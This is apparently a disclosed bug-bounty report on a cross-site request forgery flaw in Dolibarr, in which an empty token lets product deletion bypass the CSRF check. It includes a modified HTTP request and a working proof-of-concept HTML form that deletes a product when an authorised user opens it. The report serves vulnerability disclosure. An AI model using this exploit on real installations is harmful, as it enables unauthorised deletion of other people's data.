Cross-Site Request Forgery (CSRF) in dolibarr/dolibarr

Valid

Reported on

Jul 18th 2021

✍️ Description

Attacker can delete any Product for any user with CSRF vulnerability when the Admin or SuperAdmin or an authorized user click on PoC.html file, it is enough to attacker know the Product id on server.

I convert the

GET /product/card.php?id=3265&action=confirm_delete&confirm=yes&token=a8cba385ad68bb894b54ae522ed5bb78 HTTP/2

to this

GET /product/card.php?id=3266&action=confirm_delete&token=&confirm=yes HTTP/2

and then the CSRF token bypassed.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.dolibarr.org/product/card.php">
      <input type="hidden" name="id" value="3266" />
      <input type="hidden" name="action" value="confirm&#95;delete" />
      <input type="hidden" name="token" value="" />
      <input type="hidden" name="confirm" value="yes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>